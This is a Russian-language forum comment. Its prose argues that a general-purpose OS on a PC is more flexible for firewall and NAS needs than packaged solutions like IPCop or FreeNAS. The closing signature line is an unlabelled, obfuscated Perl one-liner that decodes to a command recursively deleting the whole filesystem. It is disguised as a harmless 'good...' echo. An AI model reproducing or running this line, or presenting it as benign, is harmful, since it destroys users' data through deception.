Всегда с опаской отношусь к подобным готовым решениям прикрытым интерфейсами, будет время изучу материал чтобы сказать что либо более дельное.
Часто за простотой конфигурирования, скрывается ограничение возможностей. Если данный функционал устраивает можно юзать, но я бы сделал на ПК с полноценной ОС настроенной под нужные задачи. Более гибкое решение, наращиваемое как по части аппаратной, так и программной.
Второй аргумент в пользу полноценной ОС, решений подобных IPCop множество и городить огород не всегда удобно, если чем-то IPCop тот же перестал устраивать. А с дистром все просто, научился работать в нем, плаваешь как рыба в воде, дальше строй что хочешь, надо фаер - строим фаер, надо NAS - строим нас. А так еще раз что выйдет, сейчас у тебя фаер IPCop, потом NAS надо - ставишь FreeNAS, а это совсем разные базы.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'